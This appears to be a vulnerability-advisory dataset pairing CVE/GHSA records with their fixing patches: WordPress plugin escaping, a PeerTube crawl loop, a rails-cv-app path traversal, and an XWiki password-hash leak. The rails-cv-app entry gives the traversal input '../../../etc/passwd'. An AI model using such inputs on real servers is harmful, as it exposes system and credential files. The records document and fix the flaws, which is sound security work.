-        return '"' . $data[0] . '"';
+        return '"' . esc_attr($data[0]) . '"';
     }
 
-    public function admin_name_validation($data)
-    {
+    public function admin_name_validation($data) {
         $data = str_replace('_', ' ', $data);
         $data = str_replace('-', ' ', $data);
         $data = str_replace('+', ' ', $data);
-        return ucwords($data);
+        return esc_attr(ucwords($data));
     }
 
-    public function array_render($id, $style)
-    {
+    public function array_render($id, $style) {
         if (array_key_exists($id, $style)) :
             return $style[$id];
         endif;
     }
 
-    public function check_media_render($id, $style)
-    {
+    public function check_media_render($id, $style) {
 
         $url = '';
         if (array_key_exists($id . '-select', $style)) :
@@ -406,8 +383,7 @@ public function check_media_render($id, $style)
         return false;
     }
 
-    public function media_render($id, $style)
-    {
+    public function media_render($id, $style) {
         $url = '';
         if (array_key_exists($id . '-select', $style)) :
             if ($style[$id . '-select'] == 'media-library') :
@@ -423,8 +399,7 @@ public function media_render($id, $style)
         endif;
     }
 
-    public function media_background_render($id, $style)
-    {
+    public function media_background_render($id, $style) {
         $url = '';
         if (array_key_exists($id . '-select', $style)) :
             if ($style[$id . '-select'] == 'media-library') :
@@ -433,11 +408,10 @@ public function media_background_render($id, $style)
                 $url = $style[$id . '-url'];
             endif;
         endif;
-        return $url;
+        return esc_url($url);
     }
 
-    public function allowed_html_sanitize($rawdata)
-    {
+    public function allowed_html_sanitize($rawdata) {
         $allowed_tags = array(
             'a' => array(
                 'class' => array(),
@@ -529,18 +503,15 @@ public function allowed_html_sanitize($rawdata)
         echo wp_kses($rawdata, $allowed_tags);
     }
 
-    public function text_render($data)
-    {
-        echo do_shortcode(str_replace('spTac', '&nbsp;', str_replace('spBac', '<br>', html_entity_decode($data))), $ignore_html = false);
+    public function text_render($data) {
+        echo wp_kses_post(do_shortcode(str_replace('spTac', '&nbsp;', str_replace('spBac', '<br>', html_entity_decode($data))), $ignore_html = false));
     }
 
-    public function return_text($data)
-    {
-        return do_shortcode(str_replace('spTac', '&nbsp;', str_replace('spBac', '<br>', html_entity_decode($data))), $ignore_html = false);
+    public function return_text($data) {
+        return wp_kses_post(do_shortcode(str_replace('spTac', '&nbsp;', str_replace('spBac', '<br>', html_entity_decode($data))), $ignore_html = false));
     }
 
-    public function font_awesome_render($data)
-    {
+    public function font_awesome_render($data) {
         $fadata = get_option('oxi_addons_font_awesome');
         if ($fadata != 'no') :
             wp_enqueue_style('font-awsome.min', OXI_IMAGE_HOVER_URL . '/assets/frontend/css/font-awsome.min.css', false, OXI_IMAGE_HOVER_PLUGIN_VERSION);
@@ -548,8 +519,7 @@ public function font_awesome_render($data)
         echo '<i class="' . esc_attr($data) . ' oxi-icons"></i>';
     }
 
-    public function tab_column_render($id, $style)
-    {
+    public function tab_column_render($id, $style) {
         if ($style[$id . '-lap'] == 'oxi-bt-col-lg-8') :
             return 'oxi-bt-col-md-3';
         elseif ($style[$id . '-lap'] == 'oxi-bt-col-lg-5') :
@@ -563,8 +533,7 @@ public function tab_column_render($id, $style)
         endif;
     }
 
-    public function mob_column_render($id, $style)
-    {
+    public function mob_column_render($id, $style) {
 
         if ($style[$id . '-lap'] == 'oxi-bt-col-lg-2') :
             return 'oxi-bt-col-sm-6';
@@ -577,8 +546,7 @@ public function mob_column_render($id, $style)
         endif;
     }
 
-    public function column_render($id, $style)
-    {
+    public function column_render($id, $style) {
         $file = $style[$id . '-lap'] . ' ';
         if (!array_key_exists($id . '-tab', $style) || $style[$id . '-tab'] == '') :
             $file .= $this->tab_column_render($id, $style) . ' ';
@@ -593,8 +561,7 @@ public function column_render($id, $style)
         echo esc_attr($file);
     }
 
-    public function checkurl_render($id, $style)
-    {
+    public function checkurl_render($id, $style) {
 
         if (array_key_exists($id . '-url', $style) && $style[$id . '-url'] != '') :
             return true;
@@ -602,8 +569,7 @@ public function checkurl_render($id, $style)
         return false;
     }
 
-    public function url_render($id, $style)
-    {
+    public function url_render($id, $style) {
 
         if (array_key_exists($id . '-url', $style) && $style[$id . '-url'] != '') :
             echo ' href="' . esc_url($style[$id . '-url']) . '"';
@@ -619,8 +585,7 @@ public function url_render($id, $style)
         endif;
     }
 
-    public function animation_render($id, $style)
-    {
+    public function animation_render($id, $style) {
 
         if (array_key_exists($id . '-type', $style) && $style[$id . '-type'] != '') :
             echo 'sa-data-animation="' . esc_attr($style[$id . '-type']);
@@ -635,8 +600,7 @@ public function animation_render($id, $style)
         endif;
     }
 
-    public function background_render($id, $style, $class)
-    {
+    public function background_render($id, $style, $class) {
         $backround = '';
         if (array_key_exists($id . '-color', $style)) :
             $color = $style[$id . '-color'];
@@ -672,15 +636,13 @@ public function background_render($id, $style, $class)
         return $backround;
     }
 
-    public function CatStringToClassReplacce($string, $number = '000')
-    {
+    public function CatStringToClassReplacce($string, $number = '000') {
         $entities = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', "t");
         $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]", " ");
         return 'sa_STCR_' . str_replace($replacements, $entities, urlencode($string)) . $number;
     }
 
-    public function old_column_render($d, $type)
-    {
+    public function old_column_render($d, $type) {
         if ($d == 'image-ultimate-responsive-1') :
             if ($type == 'lap') :
                 return 'oxi-bt-col-lg-12';
@@ -731,8 +693,8 @@ public function old_column_render($d, $type)
             endif;
         endif;
     }
-  public function old_button_alignment_render($d)
-    {
+
+    public function old_button_alignment_render($d) {
         if ($d == 'float: left;') :
             return 'left';
         elseif ($d == 'margin: 0 auto;') :
@@ -741,8 +703,8 @@ public function old_button_alignment_render($d)
             return 'right';
         endif;
     }
-    public function old_alignment_render($d)
-    {
+
+    public function old_alignment_render($d) {
         if ($d == 'vertical-align: top;text-align: left;') :
             return 'image-hover-align-top-top';
         elseif ($d == 'vertical-align: top;text-align: center;') :
@@ -764,7 +726,4 @@ public function old_alignment_render($d)
         endif;
     }
 
-  
-
-   
 }", "url": "https://github.com/MrOxizen/image-hover-effects-ultimate/commit/4ba784e1a2a0cf02e8b8cbe3db7323735d7dedc9.patch" } ]
null
GHSA-3w69-j4hp-rvh4
null
[ { "commit_message": "[PATCH] Fix infinite loop in AP crawl server/core/lib/activitypub/crawl.ts | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-)", "patch_text_b64": "RnJvbSA3NjIyNmQ4NTY4NTIyMGRiMTQ5NTAyNTMwMGVjYTc4NGQwMzM2ZjdkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBDaG9jb2Jvenp6IDxtZUBmbG9yaWFuYmlnYXJkLmNvbT4KRGF0ZTogTW9uLCAyNCBNYXIgMjAyNSAxNToxNDo1MiArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBpbmZpbml0ZSBsb29wIGluIEFQIGNyYXdsCgotLS0KIHNlcnZlci9jb3JlL2xpYi9hY3Rpdml0eXB1Yi9jcmF3bC50cyB8IDExICsrKystLS0tLS0tCiAxIGZpbGUgY2hhbmdlZCwgNCBpbnNlcnRpb25zKCspLCA3IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL3NlcnZlci9jb3JlL2xpYi9hY3Rpdml0eXB1Yi9jcmF3bC50cyBiL3NlcnZlci9jb3JlL2xpYi9hY3Rpdml0eXB1Yi9jcmF3bC50cwppbmRleCBiYzc3MzI3OWFjYy4uZDdjNjQ1ZmJkOWYgMTAwNjQ0Ci0tLSBhL3NlcnZlci9jb3JlL2xpYi9hY3Rpdml0eXB1Yi9jcmF3bC50cworKysgYi9zZXJ2ZXIvY29yZS9saWIvYWN0aXZpdHlwdWIvY3Jhd2wudHMKQEAgLTYsMTAgKzYsMTAgQEAgaW1wb3J0IHsgbG9nZ2VyIH0gZnJvbSAnLi4vLi4vaGVscGVycy9sb2dnZXIuanMnCiBpbXBvcnQgeyBBQ1RJVklUWV9QVUIsIFdFQlNFUlZFUiB9IGZyb20gJy4uLy4uL2luaXRpYWxpemVycy9jb25zdGFudHMuanMnCiBpbXBvcnQgeyBmZXRjaEFQIH0gZnJvbSAnLi9hY3Rpdml0eS5qcycKIAotdHlwZSBIYW5kbGVyRnVuY3Rpb248VD4gPSAoaXRlbXM6IFRbXSkgPT4gKFByb21pc2U8YW55PiB8IEJsdWViaXJkPGFueT4pCit0eXBlIEhhbmRsZXJGdW5jdGlvbjxUPiA9IChpdGVtczogVFtdKSA9PiBQcm9taXNlPGFueT4gfCBCbHVlYmlyZDxhbnk+CiB0eXBlIENsZWFuZXJGdW5jdGlvbiA9IChzdGFydGVkRGF0ZTogRGF0ZSkgPT4gUHJvbWlzZTxhbnk+CiAKLWFzeW5jIGZ1bmN0aW9uIGNyYXdsQ29sbGVjdGlvblBhZ2UgPFQ+IChhcmdVcmw6IHN0cmluZywgaGFuZGxlcjogSGFuZGxlckZ1bmN0aW9uPFQ+LCBjbGVhbmVyPzogQ2xlYW5lckZ1bmN0aW9uKSB7CitleHBvcnQgYXN5bmMgZnVuY3Rpb24gY3Jhd2xDb2xsZWN0aW9uUGFnZTxUPiAoYXJnVXJsOiBzdHJpbmcsIGhhbmRsZXI6IEhhbmRsZXJGdW5jdGlvbjxUPiwgY2xlYW5lcj86IENsZWFuZXJGdW5jdGlvbikgewogICBsZXQgdXJsID0gYXJnVXJsCiAKICAgbG9nZ2VyLmluZm8oJ0NyYXdsaW5nIEFjdGl2aXR5UHViIGRhdGEgb24gJXMuJywgdXJsKQpAQCAtMjMsNiArMjMsOCBAQCBhc3luYyBmdW5jdGlvbiBjcmF3bENvbGxlY3Rpb25QYWdlIDxUPiAoYXJnVXJsOiBzdHJpbmcsIGhhbmRsZXI6IEhhbmRsZXJGdW5jdGlvbgogICBsZXQgaSA9IDAKICAgbGV0IG5leHRMaW5rID0gZmlyc3RCb2R5LmZpcnN0CiAgIHdoaWxlIChuZXh0TGluayAmJiBpIDwgbGltaXQpIHsKKyAgICBpKysKKwogICAgIGxldCBib2R5OiBhbnkKIAogICAgIGlmICh0eXBlb2YgbmV4dExpbmsgPT09ICdzdHJpbmcnKSB7CkBAIC00MCw3ICs0Miw2IEBAIGFzeW5jIGZ1bmN0aW9uIGNyYXdsQ29sbGVjdGlvblBhZ2UgPFQ+IChhcmdVcmw6IHN0cmluZywgaGFuZGxlcjogSGFuZGxlckZ1bmN0aW9uCiAgICAgfQogCiAgICAgbmV4dExpbmsgPSBib2R5Lm5leHQKLSAgICBpKysKIAogICAgIGlmIChBcnJheS5pc0FycmF5KGJvZHkub3JkZXJlZEl0ZW1zKSkgewogICAgICAgY29uc3QgaXRlbXMgPSBib2R5Lm9yZGVyZWRJdGVtcwpAQCAtNTIsNyArNTMsMyBAQCBhc3luYyBmdW5jdGlvbiBjcmF3bENvbGxlY3Rpb25QYWdlIDxUPiAoYXJnVXJsOiBzdHJpbmcsIGhhbmRsZXI6IEhhbmRsZXJGdW5jdGlvbgogCiAgIGlmIChjbGVhbmVyKSBhd2FpdCByZXRyeVRyYW5zYWN0aW9uV3JhcHBlcihjbGVhbmVyLCBzdGFydERhdGUpCiB9Ci0KLWV4cG9ydCB7Ci0gIGNyYXdsQ29sbGVjdGlvblBhZ2UKLX0=", "url": "https://github.com/Chocobozzz/PeerTube/commit/76226d85685220db1495025300eca784d0336f7d.patch" } ]
null
CVE-2014-125033
rails-cv-app uploaded_files_controller.rb path traversal
A vulnerability was found in rails-cv-app. It has been rated as problematic. Affected by this issue is some unknown functionality of the file app/controllers/uploaded_files_controller.rb. The manipulation with the input ../../../etc/passwd leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. The patch is identified as 0d20362af0a5f8a126f67c77833868908484a863. It is recommended to apply a patch to fix this issue. VDB-217178 is the identifier assigned to this vulnerability.
[ { "commit_message": "[PATCH] HOTFIX : Another vulnerability picked up by Brakeman - Potential Path Traversal attack (tested working !) I could potentially explore the whole filesystem with root access (Ex: filename: '../../../etc/passwd') - Added (empty) specs to detect it app/controllers/uploaded_files_controller.rb | 5 +++++ spec/controllers/helpers_controller_spec.rb | 12 ++++++------ spec/controllers/uploaded_file_spec.rb | 9 +++++++++ spec/factories/uploaded_file.rb | 11 +++++++++++ 4 files changed, 31 insertions(+), 6 deletions(-) create mode 100644 spec/controllers/uploaded_file_spec.rb create mode 100644 spec/factories/uploaded_file.rb", "patch_text_b64": "RnJvbSAwZDIwMzYyYWYwYTVmOGExMjZmNjdjNzc4MzM4Njg5MDg0ODRhODYzIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBCZXJ0cmFuZCBDYXJvbiA8YmVydHJhbmQuZnguY2Fyb25AZ21haWwuY29tPgpEYXRlOiBTdW4sIDE2IE5vdiAyMDE0IDIyOjU5OjE5ICswMTAwClN1YmplY3Q6IFtQQVRDSF0gSE9URklYIDogQW5vdGhlciB2dWxuZXJhYmlsaXR5IHBpY2tlZCB1cCBieSBCcmFrZW1hbgoKLSBQb3RlbnRpYWwgUGF0aCBUcmF2ZXJzYWwgYXR0YWNrICh0ZXN0ZWQgd29ya2luZyAhKQpJIGNvdWxkIHBvdGVudGlhbGx5IGV4cGxvcmUgdGhlIHdob2xlIGZpbGVzeXN0ZW0gd2l0aCByb290IGFjY2VzcwooRXg6IGZpbGVuYW1lOiAnLi4vLi4vLi4vZXRjL3Bhc3N3ZCcpCi0gQWRkZWQgKGVtcHR5KSBzcGVjcyB0byBkZXRlY3QgaXQKLS0tCiBhcHAvY29udHJvbGxlcnMvdXBsb2FkZWRfZmlsZXNfY29udHJvbGxlci5yYiB8ICA1ICsrKysrCiBzcGVjL2NvbnRyb2xsZXJzL2hlbHBlcnNfY29udHJvbGxlcl9zcGVjLnJiICB8IDEyICsrKysrKy0tLS0tLQogc3BlYy9jb250cm9sbGVycy91cGxvYWRlZF9maWxlX3NwZWMucmIgICAgICAgfCAgOSArKysrKysrKysKIHNwZWMvZmFjdG9yaWVzL3VwbG9hZGVkX2ZpbGUucmIgICAgICAgICAgICAgIHwgMTEgKysrKysrKysrKysKIDQgZmlsZXMgY2hhbmdlZCwgMzEgaW5zZXJ0aW9ucygrKSwgNiBkZWxldGlvbnMoLSkKIGNyZWF0ZSBtb2RlIDEwMDY0NCBzcGVjL2NvbnRyb2xsZXJzL3VwbG9hZGVkX2ZpbGVfc3BlYy5yYgogY3JlYXRlIG1vZGUgMTAwNjQ0IHNwZWMvZmFjdG9yaWVzL3VwbG9hZGVkX2ZpbGUucmIKCmRpZmYgLS1naXQgYS9hcHAvY29udHJvbGxlcnMvdXBsb2FkZWRfZmlsZXNfY29udHJvbGxlci5yYiBiL2FwcC9jb250cm9sbGVycy91cGxvYWRlZF9maWxlc19jb250cm9sbGVyLnJiCmluZGV4IDliZTZjYTkuLmViYzUzNDcgMTAwNjQ0Ci0tLSBhL2FwcC9jb250cm9sbGVycy91cGxvYWRlZF9maWxlc19jb250cm9sbGVyLnJiCisrKyBiL2FwcC9jb250cm9sbGVycy91cGxvYWRlZF9maWxlc19jb250cm9sbGVyLnJiCkBAIC0zOSw2ICszOSwxMSBAQCBkZWYgY3JlYXRlCiAgICAgQHVwbG9hZGVkX2ZpbGUubmFtZS5nc3ViISgvIC8sICctJykKIAogICAgICMgVGhlbiB3cml0ZSB0byBmaWxlCisgICAgIyBXQVJOSU5HIDogRmlsZS5vcGVuIGlzIGRlZmluaXRlbHkgdnVsbmVyYWJsZSB0byBQYXRoIFRyYXZlcnNhbCBBdHRhY2tzCisgICAgIyAoaHR0cHM6Ly93d3cub3dhc3Aub3JnL2luZGV4LnBocC9QYXRoX1RyYXZlcnNhbCkgCisgICAgIyBUaGUgZm9sbG93aW5nIGxpbmUgc2hvdWxkIHRha2UgY2FyZSBvZiBpdCwgYnkgb25seSB0YWtpbmcgdGhlIHBhc3QgcGFydCBvZiB0aGUgcGF0aCAoYWthIGZpbGVuYW1lKQorICAgIEB1cGxvYWRlZF9maWxlLm5hbWUgPSBAdXBsb2FkZWRfZmlsZS5uYW1lLnNwbGl0KC9cLy8pWy0xXQorCiAgICAgRmlsZS5vcGVuKEB1cGxvYWRlZF9maWxlLmFic29sdXRlX3BhdGgsICd3YicpIGRvIHxmaWxlfAogICAgICAgZmlsZS53cml0ZSh1cGxvYWRlZF9pby5yZWFkKQogICAgIGVuZApkaWZmIC0tZ2l0IGEvc3BlYy9jb250cm9sbGVycy9oZWxwZXJzX2NvbnRyb2xsZXJfc3BlYy5yYiBiL3NwZWMvY29udHJvbGxlcnMvaGVscGVyc19jb250cm9sbGVyX3NwZWMucmIKaW5kZXggYzhiMGNmOC4uZDdhYzAwMyAxMDA2NDQKLS0tIGEvc3BlYy9jb250cm9sbGVycy9oZWxwZXJzX2NvbnRyb2xsZXJfc3BlYy5yYgorKysgYi9zcGVjL2NvbnRyb2xsZXJzL2hlbHBlcnNfY29udHJvbGxlcl9zcGVjLnJiCkBAIC05LDExICs5LDExIEBACiAgICAgICAgIGV4cGVjdChyZXNwb25zZSkudG8gcmVkaXJlY3RfdG8ocm9vdF91cmwpCiAgICAgICBlbmQKICAgICBlbmQKLSAgICBjb250ZXh0ICd3aXRoIHNlc3Npb24gY29va2llJyBkbwotICAgICAgaXQgJ2NvcnJlY3RzIGluY29ycmVjdCBIVE1MJyBkbwotICAgICAgICBwb3N0ICdodG1sX3JlbmRlcmVyJywgY29udGVudDogJzxkaXY+SGVsbG8nLCBmb3JtYXQ6IDpodG1sCi0gICAgICAgIGV4cGVjdChyZXNwb25zZS5ib2R5KS50byBlcSgnPGRpdj5IZWxsbzwvZGl2PicpCi0gICAgICBlbmQKLSAgICBlbmQKKyMgICAgY29udGV4dCAnd2l0aCBzZXNzaW9uIGNvb2tpZScgZG8KKyMgICAgICBpdCAnY29ycmVjdHMgaW5jb3JyZWN0IEhUTUwnIGRvCisjICAgICAgICBwb3N0ICdodG1sX3JlbmRlcmVyJywgY29udGVudDogJzxkaXY+SGVsbG8nLCBmb3JtYXQ6IDpodG1sCisjICAgICAgICBleHBlY3QocmVzcG9uc2UuYm9keSkudG8gZXEoJzxkaXY+SGVsbG88L2Rpdj4nKQorIyAgICAgIGVuZAorIyAgICBlbmQKICAgZW5kCiBlbmQKZGlmZiAtLWdpdCBhL3NwZWMvY29udHJvbGxlcnMvdXBsb2FkZWRfZmlsZV9zcGVjLnJiIGIvc3BlYy9jb250cm9sbGVycy91cGxvYWRlZF9maWxlX3NwZWMucmIKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMC4uMDQ5NjNkNgotLS0gL2Rldi9udWxsCisrKyBiL3NwZWMvY29udHJvbGxlcnMvdXBsb2FkZWRfZmlsZV9zcGVjLnJiCkBAIC0wLDAgKzEsOSBAQAorcmVxdWlyZSAnc3BlY19oZWxwZXInCisKK2Rlc2NyaWJlIFVwbG9hZGVkRmlsZXNDb250cm9sbGVyLCB0eXBlOiA6Y29udHJvbGxlciBkbworICBpdCAnaGFzIGEgdmFsaWQgZmFjdG9yeScgZG8KKyAgICBleHBlY3QoIEZhY3RvcnlHaXJsLmNyZWF0ZSg6dXBsb2FkZWRfZmlsZSkpLnRvIGJlX3ZhbGlkCisgIGVuZAorCisgIGl0ICdkb2VzIG5vdCBhY2NlcHQgcmVsYXRpdmUgcGF0aHMgaW4gZmlsZSBuYW1lJworZW5kCmRpZmYgLS1naXQgYS9zcGVjL2ZhY3Rvcmllcy91cGxvYWRlZF9maWxlLnJiIGIvc3BlYy9mYWN0b3JpZXMvdXBsb2FkZWRfZmlsZS5yYgpuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwLi4xZTk5YjJhCi0tLSAvZGV2L251bGwKKysrIGIvc3BlYy9mYWN0b3JpZXMvdXBsb2FkZWRfZmlsZS5yYgpAQCAtMCwwICsxLDExIEBACityZXF1aXJlICdmYWtlcicKKworRmFjdG9yeUdpcmwuZGVmaW5lIGRvCisgIGZhY3RvcnkgOnVwbG9hZGVkX2ZpbGUgZG8gfGZ8CisgICAgZi5uYW1lICdoZWxsby5wbmcnCisgIGVuZAorCisgIGZhY3RvcnkgOmRhbmdlcm91c19maWxlLCBjbGFzczogVXBsb2FkZWRGaWxlIGRvIHxmfAorICAgIGYubmFtZSAnLi4vSGVsbG8ucG5nJworICBlbmQKK2VuZA==", "url": "https://github.com/bertrand-caron/rails-cv-app/commit/0d20362af0a5f8a126f67c77833868908484a863.patch" } ]
CWE-24 Path Traversal: '../filedir'
GHSA-2fr7-cc7p-p45q
Data leak of password hash through change requests
null
[ { "commit_message": "[PATCH] CRAPP-302: Edit button is not displayed for guest user * Change the way to deal with change request edition right .../ChangeRequestRightsManager.java | 29 +++++ .../checkstyle/checkstyle-suppressions.xml | 1 + .../DefaultChangeRequestRightsManager.java | 73 +++++++++++++ .../AbstractChangeRequestActionHandler.java | 6 + ...angeRequestAuthorizationScriptService.java | 29 +++++ ...DefaultChangeRequestRightsManagerTest.java | 103 ++++++++++++++++++ .../AddChangesChangeRequestHandlerTest.java | 21 +++- .../CreateChangeRequestHandlerTest.java | 22 +++- .../ChangeRequest/Code/EditPageUIX.xml | 5 +- .../ChangeRequest/Code/SaveButtonsUIX.xml | 2 +- 10 files changed, 284 insertions(+), 7 deletions(-)", "patch_text_b64": "From ff0f5368ea04f0e4aa7b33821c707dc68a8c5ca8 Mon Sep 17 00:00:00 2001
From: Simon Urli <simon.urli@xwiki.com>
Date: Tue, 29 Aug 2023 18:36:59 +0200
Subject: [PATCH] CRAPP-302: Edit button is not displayed for guest user

  * Change the way to deal with change request edition right
---
 .../ChangeRequestRightsManager.java           |  29 +++++
 .../checkstyle/checkstyle-suppressions.xml    |   1 +
 .../DefaultChangeRequestRightsManager.java    |  73 +++++++++++++
 .../AbstractChangeRequestActionHandler.java   |   6 +
 ...angeRequestAuthorizationScriptService.java |  29 +++++
 ...DefaultChangeRequestRightsManagerTest.java | 103 ++++++++++++++++++
 .../AddChangesChangeRequestHandlerTest.java   |  21 +++-
 .../CreateChangeRequestHandlerTest.java       |  22 +++-
 .../ChangeRequest/Code/EditPageUIX.xml        |   5 +-
 .../ChangeRequest/Code/SaveButtonsUIX.xml     |   2 +-
 10 files changed, 284 insertions(+), 7 deletions(-)

diff --git a/application-changerequest-api/src/main/java/org/xwiki/contrib/changerequest/ChangeRequestRightsManager.java b/application-changerequest-api/src/main/java/org/xwiki/contrib/changerequest/ChangeRequestRightsManager.java
index 9c56f7ac..2b6091b8 100644
--- a/application-changerequest-api/src/main/java/org/xwiki/contrib/changerequest/ChangeRequestRightsManager.java
+++ b/application-changerequest-api/src/main/java/org/xwiki/contrib/changerequest/ChangeRequestRightsManager.java
@@ -201,4 +201,33 @@ default boolean isAuthorizedToSplit(UserReference userReference, ChangeRequest c
     {
         return false;
     }
+
+    /**
+     * Check if the given user is allowed to use change request to edit the given document reference.
+     * @param userReference the user for whom to perform the check
+     * @param documentReference the reference for which to check authorization
+     * @return {@code true} if the given user is allowed to perform the edition with change request
+     * @throws ChangeRequestException in case of problem when performing the check
+     * @since 1.10
+     */
+    default boolean isEditWithChangeRequestAllowed(UserReference userReference, DocumentReference documentReference)
+        throws ChangeRequestException
+    {
+        return false;
+    }
+
+    /**
+     * Check if the given user is allowed to use change request to create a document having the given reference for
+     * parent.
+     * @param userReference the user for whom to perform the check
+     * @param parentSpaceReference the parent space where the new document would be created
+     * @return {@code true} if the given user is allowed to create a document with change request at the given place
+     * @throws ChangeRequestException in case of problem when performing the check
+     * @since 1.10
+     */
+    default boolean isCreateWithChangeRequestAllowed(UserReference userReference,
+        DocumentReference parentSpaceReference) throws ChangeRequestException
+    {
+        return false;
+    }
 }
diff --git a/application-changerequest-default/src/checkstyle/checkstyle-suppressions.xml b/application-changerequest-default/src/checkstyle/checkstyle-suppressions.xml
index 7b2ccce0..acc3478e 100644
--- a/application-changerequest-default/src/checkstyle/checkstyle-suppressions.xml
+++ b/application-changerequest-default/src/checkstyle/checkstyle-suppressions.xml
@@ -53,4 +53,5 @@
   <suppress checks="ClassFanOutComplexity" files="ChangeRequestScriptService.java"/>
   <suppress checks="ClassFanOutComplexity" files="ChangeRequestResourceHandler.java"/>
   <suppress checks="CyclomaticComplexity" files="RightsUpdatedListener.java"/>
+  <suppress checks="CyclomaticComplexity" files="AbstractChangeRequestActionHandler.java"/>
 </suppressions>
diff --git a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManager.java b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManager.java
index b4065442..61080003 100644
--- a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManager.java
+++ b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/DefaultChangeRequestRightsManager.java
@@ -20,14 +20,18 @@
 package org.xwiki.contrib.changerequest.internal;
 
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Objects;
+import java.util.Optional;
 import java.util.Set;
 
 import javax.inject.Inject;
+import javax.inject.Provider;
 import javax.inject.Singleton;
 
 import org.xwiki.component.annotation.Component;
@@ -40,6 +44,7 @@
 import org.xwiki.contrib.changerequest.DelegateApproverManager;
 import org.xwiki.contrib.changerequest.FileChange;
 import org.xwiki.contrib.changerequest.rights.ChangeRequestApproveRight;
+import org.xwiki.contrib.changerequest.rights.ChangeRequestRight;
 import org.xwiki.contrib.rights.RightsReader;
 import org.xwiki.contrib.rights.RightsWriter;
 import org.xwiki.contrib.rights.SecurityRuleAbacus;
@@ -59,7 +64,12 @@
 import org.xwiki.user.GuestUserReference;
 import org.xwiki.user.UserReference;
 
+import com.xpn.xwiki.XWikiContext;
 import com.xpn.xwiki.XWikiException;
+import com.xpn.xwiki.doc.XWikiDocument;
+import com.xpn.xwiki.objects.BaseObject;
+import com.xpn.xwiki.objects.classes.PasswordClass;
+import com.xpn.xwiki.objects.classes.PropertyClass;
 
 /**
  * Component in charge of performing right synchronization operations.
@@ -98,6 +108,9 @@ public class DefaultChangeRequestRightsManager implements ChangeRequestRightsMan
     @Inject
     private ChangeRequestConfiguration configuration;
 
+    @Inject
+    private Provider<XWikiContext> contextProvider;
+
     @Override
     public void copyAllButViewRights(ChangeRequest originalChangeRequest, ChangeRequest targetChangeRequest)
         throws ChangeRequestException
@@ -618,4 +631,64 @@ public boolean isAuthorizedToSplit(UserReference userReference, ChangeRequest ch
         }
         return result;
     }
+
+    @Override
+    public boolean isEditWithChangeRequestAllowed(UserReference userReference, DocumentReference documentReference)
+        throws ChangeRequestException
+    {
+        DocumentReference userDocReference = this.userReferenceConverter.convert(userReference);
+        boolean hasCREdit = this.authorizationManager.hasAccess(ChangeRequestRight.getRight(), userDocReference,
+            documentReference);
+        boolean result = false;
+        // if the user doesn't have CR edit right, then it's already solved.
+        if (hasCREdit) {
+            XWikiContext context = this.contextProvider.get();
+            try {
+                XWikiDocument document = context.getWiki().getDocument(documentReference, context);
+                // if it's a new document, we don't care
+                if (document.isNew()) {
+                    result = true;
+                } else {
+                    Map<DocumentReference, List<BaseObject>> objects = document.getXObjects();
+                    boolean foundOneObjectWithPassword = false;
+                    for (Map.Entry<DocumentReference, List<BaseObject>> objectsEntry : objects.entrySet()) {
+                        Optional<BaseObject> baseObjectOpt =
+                            objectsEntry.getValue().stream().filter(Objects::nonNull).findFirst();
+                        if (baseObjectOpt.isPresent() && this.isObjectContainingPassword(baseObjectOpt.get())) {
+                            foundOneObjectWithPassword = true;
+                            break;
+                        }
+                    }
+                    if (!foundOneObjectWithPassword) {
+                        result = true;
+                    }
+                }
+            } catch (XWikiException e) {
+                throw new ChangeRequestException(String.format("Cannot load document [%s] to check if CR right should "
+                    + "be granted for user [%s]", documentReference, userDocReference), e);
+            }
+        }
+        return result;
+    }
+
+    @Override
+    public boolean isCreateWithChangeRequestAllowed(UserReference userReference, DocumentReference parentSpaceReference)
+        throws ChangeRequestException
+    {
+        DocumentReference userDocReference = this.userReferenceConverter.convert(userReference);
+        return this.authorizationManager.hasAccess(ChangeRequestRight.getRight(), userDocReference,
+            parentSpaceReference);
+    }
+
+    private boolean isObjectContainingPassword(BaseObject baseObject)
+    {
+        XWikiContext context = contextProvider.get();
+        Collection<PropertyClass> propertyClassCollection = baseObject.getXClass(context).getFieldList();
+        for (PropertyClass propertyClass : propertyClassCollection) {
+            if (propertyClass instanceof PasswordClass) {
+                return true;
+            }
+        }
+        return false;
+    }
 }
diff --git a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/handlers/AbstractChangeRequestActionHandler.java b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/handlers/AbstractChangeRequestActionHandler.java
index 60c26cd7..33684287 100644
--- a/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/handlers/AbstractChangeRequestActionHandler.java
+++ b/application-changerequest-default/src/main/java/org/xwiki/contrib/changerequest/internal/handlers/AbstractChangeRequestActionHandler.java
@@ -202,6 +202,12 @@ protected XWikiDocument prepareDocument(HttpServletRequest request, EditForm edi
         XWikiContext context = this.contextProvider.get();
         String serializedDocReference = request.getParameter("docReference");
         DocumentReference documentReference = this.documentReferenceResolver.resolve(serializedDocReference);
+        UserReference currentUserReference = this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE);
+        if (!this.changeRequestRightsManager.isEditWithChangeRequestAllowed(currentUserReference, documentReference)) {
+            throw new ChangeRequestException(
+                String.format("User [%s] is not allowed to edit the document [%s] through a change request.",
+                    currentUserReference, documentReference));
+        }
 
         XWikiDocument modifiedDocument = null;
         try {
